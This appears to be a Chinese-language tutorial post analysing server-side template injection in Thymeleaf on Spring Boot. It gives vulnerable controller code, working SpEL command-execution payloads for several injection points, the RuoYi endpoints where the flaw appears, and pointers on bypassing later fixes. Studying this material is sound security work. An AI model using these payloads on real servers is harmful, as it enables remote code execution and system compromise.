JAVA-SSTI 扫盲篇
springboot与Thymeleaf版本对应关系,在Thymeleaf 3.0.11 及之前没有做安全措施
SpringBoot Thymeleaf 2.2.0.RELEASE 3.0.11 2.4.10 3.0.12 2.7.18 3.0.15 3.0.8 3.1.1 3.2.2 3.1.2
环境搭建 idea创建springboot项目,更换版本为3.0.11
<dependency> <groupId>org.thymeleaf</groupId> <artifactId>thymeleaf</artifactId> <version>3.0.11.RELEASE</version> </dependency> <dependency> <groupId>org.thymeleaf</groupId> <artifactId>thymeleaf-spring5</artifactId> <version>3.0.11.RELEASE</version> </dependency>
配置渲染路径
# THYMELEAF (ThymeleafAutoConfiguration) spring.thymeleaf.prefix=classpath:/templates/ spring.thymeleaf.suffix=.html spring.thymeleaf.charset=utf-8 spring.thymeleaf.cache=false
添加报错message信息,不添加无回显
server.error.include-exception=true server.error.include-message=always
基础知识 一、基础语法:
如果 Web 应用程序基于 Spring,则 Thymeleaf 使用 Spring EL。如果没有,Thymeleaf 使用 OGNL
变量表达式: ${...}
选择变量表达式: *{...}
消息表达: #{...}
链接 URL 表达式: @{...}
片段表达式: ~{...}
其中片段表达式,可以用于引用公共的目标片段比如footer或者header,如下例子
/WEB-INF/templates/footer.html 中定义了 copy 片段
<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org" > <body> <div th:fragment="copy" > © 2011 The Good Thymes Virtual Grocery </div> </body> </html>
我如果想引入footer的copy字段,使用片段表达式
<body> ... <div th:insert="~{footer :: copy}"></div> </body>
~{templatename::selector}
会在 /WEB-INF/templates/目录下寻找名为 templatename 的模版中定义的 fragment,如上面的 ~{footer :: copy}
~{templatename}
引用整个templatename模版文件作为fragment
~{::selector}
或 ~{this::selector}
引用来自 同一模版文件 名为selector的fragmnt
二、表达式预处理:
语法:__${expression}__
,使用 __
进行前后包裹,作用是 在正常表达式之前完成的表达式执行,允许修改最终将执行的表达式
#{selection.__${sel.code}__}
三、关于SpEL的RCE基础知识:
https://forum.butian.net/share/2483 、https://xz.aliyun.com/t/9245
四、DispatcherServlet流程:
见上篇《DispatcherServlet流程简要分析》
原理分析 触发方式分为
视图名可控
templatename可控
selector可控
URI Path可控
模板内容可控
templatename可控 类似以下controller,return的name可控
@RequestMapping("/thymeleaf1") public String thymeleafFunc1 (@RequestParam String lang) { return "thymeleaf/" + lang; } @GetMapping("/path") public String path (@RequestParam String lang) { return "user/" + lang + "/welcome" ; }
POC:
::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc" ).getInputStream()).next()} __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("hostname" ).getInputStream()).next()}__::.x __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("hostname" ).getInputStream()).next()}__::
在解析模板过程中 org.thymeleaf.spring5.view.ThymeleafView#renderFragment 方法有一个 if 判断viewTemplateName是否含有 ::
,如果含有就会当成 片段表达式 进行处理,这里POC就走到了else分支中
跟进到 StandardExpressionParser#parseExpression
static IStandardExpression parseExpression (IExpressionContext context, String input, boolean preprocess) { IEngineConfiguration configuration = context.getConfiguration(); String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input; IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput); if (cachedExpression != null ) { return cachedExpression; } else { Expression expression = Expression.parse(preprocessedInput.trim()); if (expression == null ) { throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"" ); } else { ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression); return expression; } } }
跟进 StandardExpressionPreprocessor#preprocess ,首先通过正则提取 __
之间的内容,然后execute执行
跟进execute后,最终在 VariableExpression#executeVariableExpression 后续执行 getValue
exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:498 , Method (java.lang.reflect) execute:139 , ReflectiveMethodExecutor (org.springframework.expression.spel.support) getValueInternal:112 , MethodReference (org.springframework.expression.spel.ast) getValueInternal:95 , MethodReference (org.springframework.expression.spel.ast) getValueRef:61 , CompoundExpression (org.springframework.expression.spel.ast) getValueInternal:91 , CompoundExpression (org.springframework.expression.spel.ast) createNewInstance:122 , ConstructorReference (org.springframework.expression.spel.ast) getValueInternal:108 , ConstructorReference (org.springframework.expression.spel.ast) getValueRef:55 , CompoundExpression (org.springframework.expression.spel.ast) getValueInternal:91 , CompoundExpression (org.springframework.expression.spel.ast) getValue:112 , SpelNodeImpl (org.springframework.expression.spel.ast) getValue:338 , SpelExpression (org.springframework.expression.spel.standard) evaluate:263 , SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression) executeVariableExpression:166 , VariableExpression (org.thymeleaf.standard.expression) executeSimple:66 , SimpleExpression (org.thymeleaf.standard.expression) execute:109 , Expression (org.thymeleaf.standard.expression) execute:138 , Expression (org.thymeleaf.standard.expression) preprocess:91 , StandardExpressionPreprocessor (org.thymeleaf.standard.expression) parseExpression:120 , StandardExpressionParser (org.thymeleaf.standard.expression) parseExpression:62 , StandardExpressionParser (org.thymeleaf.standard.expression) parseExpression:44 , StandardExpressionParser (org.thymeleaf.standard.expression) renderFragment:278 , ThymeleafView (org.thymeleaf.spring5.view) render:189 , ThymeleafView (org.thymeleaf.spring5.view) render:1405 , DispatcherServlet (org.springframework.web.servlet) processDispatchResult:1149 , DispatcherServlet (org.springframework.web.servlet) doDispatch:1088 , DispatcherServlet (org.springframework.web.servlet) doService:964 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doPost:909 , FrameworkServlet (org.springframework.web.servlet) service:696 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:779 , HttpServlet (javax.servlet.http) internalDoFilter:227 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) invoke:177 , StandardWrapperValve (org.apache.catalina.core) invoke:97 , StandardContextValve (org.apache.catalina.core) invoke:541 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:135 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:360 , CoyoteAdapter (org.apache.catalina.connector) service:399 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:891 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1784 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
除了网上大部分的利用预处理流程去执行poc,还可以利用 ::
正常解析为表达式语句,然后命令执行
::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc" ).getInputStream()).next()}
selector可控 类似以下controller,return的name可控
@RequestMapping("/thymeleaf2") public String thymeleafFunc2 (@RequestParam("lang") String lang) { return "welcome :: " + lang; }
POC
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc" ).getInputStream()).next()} __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc" ).getInputStream()).next()}__
流程同上,属于自带 ::
了
URI Path可控 类似以下controller,return的name可控
@GetMapping("/thymeleaf3/{lang}") public void thymeleafFunc3 (@PathVariable String lang) { System.out.println(lang); }
POC
/thymeleaf3/__$%7BT%20 (java.lang.Runtime).getRuntime().exec("calc" )%7D__::.
原理为在后续applyDefaultViewName中如果返回会对ModelAndView中的view属性检查,为空的话就将URI path作为视图名称,后续render时就会执行。
写入模板文件 任意文件写可控模板文件内容,index.html
<p th:text="${__${T (java.lang.Runtime).getRuntime().exec('calc')}__}" xmlns:th="http://www.w3.org/1999/xhtml"></p>
无法利用情况 0x1:配置 @ResponseBody
或者 @RestController
这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。
@GetMapping("/safe/fragment") @ResponseBody public String safeFragment (@RequestParam String section) { return "welcome :: " + section; }
0x2:redirect: 为首
这样不再由 ThymeleafView来进行解析,而是由 RedirectView 来进行解析
@GetMapping("/safe/redirect") public String redirect (@RequestParam String url) { return "redirect:" + url; }
0x3:方法参数添加HttpServletResponse参数
controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
@GetMapping("/safe/doc/{document}") public void getDocument (@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); }
真实案例 若依的thymeleaf漏洞就是因为其中四个接口方法中设置了片段选择器
/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
@PostMapping("/getNames") public String getCacheNames (String fragment, ModelMap mmap) { mmap.put("cacheNames" , cacheService.getCacheNames()); return prefix + "/cache::" + fragment; }
所以直接构造poc拼接即可命令执行
${T (java.lang.Runtime).getRuntime().exec("calc" )}
3.0.12/15修复 3.0.12:JAVA安全之Thymeleaf模板注入防护绕过 - 先知社区
bypass:URI Path检测 + T字符的完全正则
3.0.15:JAVA安全之Thymeleaf模板注入检测再探 - 先知社区
bypass:只能进行模板文件的修改 + 黑名单类名的绕过
trick与黑名单绕过 Thymeleaf漏洞汇总
Thymeleaf SSTI 分析以及最新版修复的 Bypass
[Thymeleaf ssti 3.1.2 黑名单绕过](https://blog.0kami.cn/blog/2024/thymeleaf ssti 3.1.2 黑名单绕过/)
最新版本thymeleaf防护机制研究及其利用payload
JAVA安全之Thymeleaf模板注入防护绕过
JAVA安全之Thymeleaf模板注入检测再探
2022 网鼎杯玄武组-you can find it 题解
参考 Java安全之Thymeleaf 模板注入分析 - nice0e3
Thymeleaf漏洞汇总
Java安全之Thymeleaf SSTI分析 - Zh1z3ven
Exploiting SSTI in Thymeleaf | Acunetix